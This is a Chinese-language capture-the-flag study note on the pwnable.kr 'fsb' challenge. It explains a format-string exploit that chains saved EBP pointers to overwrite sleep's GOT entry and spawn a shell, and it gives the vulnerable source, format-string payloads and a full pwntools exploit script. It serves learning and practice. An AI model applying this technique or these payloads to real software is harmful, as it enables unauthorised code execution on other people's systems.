pwnable學習筆記-fsb

這是一道有趣的格式化字符串漏洞(Format string bug)。

題目源碼

#include <stdio.h>
#include <alloca.h>
#include <fcntl.h>

unsigned long long key;
char buf[100];
char buf2[100];

int fsb(char** argv, char** envp){
    char* args[]={"/bin/sh", 0};
    int i;

    char*** pargv = &argv;
    char*** penvp = &envp;
        char** arg;
        char* c;
        for(arg=argv;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
        for(arg=envp;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
    *pargv=0;
    *penvp=0;

    for(i=0; i<4; i++){
        printf("Give me some format strings(%d)\n", i+1);
        read(0, buf, 100);
        printf(buf);
    }

    printf("Wait a sec...\n");
        sleep(3);

        printf("key : \n");
        read(0, buf2, 100);
        unsigned long long pw = strtoull(buf2, 0, 10);
        if(pw == key){
                printf("Congratz!\n");
                execve(args[0], args, 0);
                return 0;
        }

        printf("Incorrect key \n");
    return 0;
}

int main(int argc, char* argv[], char** envp){

    int fd = open("/dev/urandom", O_RDONLY);
    if( fd==-1 || read(fd, &key, 8) != 8 ){
        printf("Error, tell admin\n");
        return 0;
    }
    close(fd);

    alloca(0x12345 & key);

    fsb(argv, envp); // exploit this format string bug!
    return 0;
}

可以很明顯地看見,漏洞的利用點在:

for(i=0; i<4; i++){
        printf("Give me some format strings(%d)\n", i+1);
        read(0, buf, 100);
        printf(buf);
    }
   從這個循環裏可以看見,漏洞可以利用4次,而且重要的是buf是全局變量,也就是buf的數據在堆裏,所以在buf裏寫入exp然後想辦法跳轉執行的思路是行不通的,因爲通過%n只能修改棧上的數據。
   一開始苦思冥想而不知(太菜),只能去查資料,查到一個有用的:

鏈接:http://phrack.org/issues/59/7.html
思路大概是這樣的,因爲當前函數的ebp總是保存着上一個函數的ebp地址,也就是說當前函數的ebp指向的是前一個函數的ebp。而且2個ebp都是可寫的,那麼通過修改2個ebp的內容,就可以實現任意內存的寫。

  1. 找出2個ebp到棧上格式化字符串地址的偏移。

    gdb調式圖-1
    第一次輸入aaaa圖-2

可以看見寄存器區裏的代碼:

EBP: 0xffe63588 --> 0xffe758e8 --> 0x0
ESP: 0xffe63540 --> 0x0

0xffe63588就是fsb函數的ebp,裏面存着main函數的ebp0xffe758e8。
從圖-2中可以看出buf的地址爲:0x804a100,且這個地址在調用printf函數之前放在了esp上,esp此時的地址是0xffe63540,ebp的地址是0xffe63588。
又因爲x86下棧是4個字節對齊的,printf參數從右往左壓入棧中,比如:

printf("%1000c%s"s,n);

這句話中esp存儲”%1000c%s”字符串的地址,esp+4存儲變量s的地址,esp+8存儲變量n的地址。那麼通過

printf("%08x%08x....")

可以泄露棧中esp之上的所有地址。我們知道,fsb函數中,(ebp-esp)/4=(0xffe6358-0xffe63540)/4=18,偏移量18是不會隨地址隨機化改變而改變的。而且,在調式時,我們知道,esp+14處的內容正好是esp+0x50,這個偏移也是固定不變的。
那麼輸入"%14$08x%18$08x",得到的2個結果,第一個就是esp+50,第二個就是ebp。
2. 在fsb函數的ebp裏寫入sleep函數在got表中的地址

sleep函數在got表中的地址

該地址可以通過readelf -r fsb查詢,查得的地址是:0x0804a008。
0x0804a008轉化爲10進製爲:134520840。
所以第二次輸入:%134520840c%18$n。這樣fsb函數的ebp中就寫入了0x0804a00。fsb函數的ebp指向main函數的ebp,那麼將main函數的ebp內容修改爲shellcode,當觸發sleep函數的時候,就調用了shellcode。
3. 在main函數的ebp裏寫入shellcode的起始地址

ffb8b510ffb8d5a8

假設在第一步的時候,那麼就得到esp=0xffb8b510-0x50=0xffb8b4c0,[ebp]=0xffb8d5a8,要修改main函數的ebp,同第二步類似,算出偏移量offset=([ebp]-esp)/4=2106,因爲在代碼區,前2個字節不變,只需修改後面2個字節,所以第3次輸入:

%34475c%2106$hn

34475=(0x080486ab&0xffff),x080486ab是execve(args[0], args, 0);在代碼區中的地址。
4. 隨意輸入內容(陷阱)

for(i=0; i<4; i++){
        printf("Give me some format strings(%d)\n", i+1);
        read(0, buf, 100);
        printf(buf);
    }

再仔細看下這段代碼,發現有一個致命的問題就是buf是沒有清空的,也就是說,最後一次寫的buf如果長度不足,只會覆蓋buf的前面幾個字節。
如果第4次只輸入一個字母’A’,那麼造成的結果就是:buf的內容變成了—“A34475c%2106$hn”,那麼main函數中ebp就會被再次覆寫爲7,此時執行會報段錯誤,這裏調式了好多次才發現了這個錯誤(就怕流氓有耐心),所有第4次至少寫8個字符覆蓋第2個”%”。

終上所述,最後給出用pwntools寫的腳本

#encoding=utf-8
from pwn import *

p=ssh(host='pwnable.kr',port=2222,user='fsb',password='guest').run('/home/fsb/fsb')
sleep_got=0x0804a008
shellcode=0x080486ab

p.recvuntil("(1)\n")
exp_1="%14$08x%18$08x"
print "[+]exp_1=%s"%exp_1
p.sendline(exp_1)
esp=int(p.recv(8),16)-0x50#格式化字符串的地址
ebp=int(p.recv(8),16)
offset=(ebp-esp)/4
print "esp:%s" %hex(esp)
print "ebp:%s" %hex(ebp)
print "offset:%s" %offset

p.recvuntil("(2)\n")
exp_2="%%%dc"%(sleep_got)+"%18$n"
print "[+]exp_2=%s"%exp_2
p.sendline(exp_2)

p.recvuntil("(3)\n")
exp_3=("%%%dc"%(shellcode&0xffff)) + "%%%d$hn"%(offset)
print "[+]exp_3=%s"%exp_3
p.sendline(exp_3)

p.recvuntil("(4)\n")
exp_4="AAAAAAAA" #這裏至少是8個字符(加上\n),覆蓋%34475c%2106$hn中的頭8個字符,不會造成二次寫
print "[+]exp_4=%s"%exp_4
p.sendline(exp_4)

#p.recvuntil("Wait a sec...\n")
p.interactive()

這種利用ebp去構造指針的思路依然可以用於其他會造成內存任意讀寫的漏洞,思路很美妙,深深地佩服第一個想到這種思路的人。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章